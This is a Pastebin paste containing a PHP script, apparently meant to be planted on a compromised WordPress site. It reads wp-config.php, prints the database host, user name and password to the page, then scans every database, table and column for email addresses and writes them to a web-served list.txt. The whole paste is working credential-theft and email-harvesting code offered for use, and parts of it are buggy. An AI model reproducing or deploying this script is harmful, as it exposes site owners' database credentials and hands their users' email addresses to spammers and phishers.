D3F4ULT8778

Untitled

Apr 17th, 2020 (edited)
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. <?php
  2. echo "
  3. <html>
  4. <center><a href='list.txt'>Mailst By D3F4ULT</a><br>
  5. </html>
  6. ";
  7. if (file_exists("wp-config.php") or ("../wp-config.php") or ("../../wp-config.php") or ("../../../wp-config.php") or ("../../../../wp-config.php") or ("../../../../../wp-config.php") or ("../../../../../../wp-config.php"))
  8. {
  9. $config = array(
  10. "wp-config.php",
  11. "../wp-config.php",
  12. "../../wp-config.php",
  13. "../../../wp-config.php",
  14. "../../../../wp-config.php",
  15. "../../../../../wp-config.php",
  16. "../../../../../../wp-config.php"
  17. );
  18. foreach ($config as $wpcon)
  19. {
  20. $file = @file_get_contents($wpcon);
  21. if (@preg_match("/'DB_NAME', '/", $file) or @eregi("/'DB_USER', '/", $file))
  22. {
  23. //////////host////////////////
  24. //////////host////////////////
  25. $host = explode("'DB_HOST', '", $file);
  26. $host = explode("');", $host[1]);
  27. $host = $host[0];
  28. /////////user///////////////
  29. $user = explode("'DB_USER', '", $file);
  30. $user = explode("');", $user[1]);
  31. $user = $user[0];
  32. ////////password///////////
  33. $pass = explode("'DB_PASSWORD', '", $file);
  34. $pass = explode("');", $pass[1]);
  35. $pass = $pass[0];
  36. ///////////////////////////////////////
  37. echo "db-host : $host <br>";
  38. echo "db-user : $user <br>";
  39. echo "db-pass : $pass <br>";
  40. //////////////////////////////////////////////////////////////////////////
  41. go($host, $user, $pass, "list.txt");
  42. exit();
  43. }
  44. }
  45. }
  46. else
  47. {
  48. echo "i dontknow :/ \n\n";
  49.  
  50. }
  51.  
  52. function go($host, $user, $pass, $file)
  53. {
  54. $con = @mysqli_connect($host, $user, $pass);
  55. $fp = fopen($file, 'a');
  56. $count = 0;
  57. $databases = getdata("SHOW DATABASES");
  58. foreach ($databases as $database)
  59. print $database;
  60. {
  61. $tables = getdata("SHOW TABLES FROM $database");
  62. foreach ($tables as $table)
  63. {
  64. $columns = getdata("SHOW COLUMNS FROM $database.$table");
  65. foreach ($columns as $column)
  66. {
  67. $emails = getdata("SELECT $column FROM $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  68. foreach ($emails as $email)
  69. {
  70. if (filter_var($email, FILTER_VALIDATE_EMAIL))
  71. {
  72. if (preg_match("/".$email."/", file_get_contents($file))) continue;
  73. $count++;
  74. fwrite($fp, "$email\n");
  75. }
  76. else
  77. {
  78. foreach (preg_split("/\s/", $text) as $string)
  79. {
  80. if (filter_var($string, FILTER_VALIDATE_EMAIL))
  81. {
  82. if (preg_match("/".$string."/", file_get_contents($file))) continue;
  83. $count++;
  84. fwrite($fp, "$string\n");
  85. }
  86. }
  87. }
  88. }
  89. }
  90. }
  91. }
  92. fclose($fp);
  93. @mysqli_close($con);
  94. return $count;
  95. }
  96. function getdata($sql)
  97. {
  98. require('wp-config.php');
  99. $link = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
  100. $q = @mysqli_query($link,$sql);
  101. $result = array();
  102. while ($d = @mysqli_fetch_array($q))
  103. {
  104. $result[] = $d[0];
  105. }
  106. return $result;
  107. }
  108. ?>
Add Comment
Please, Sign In to add comment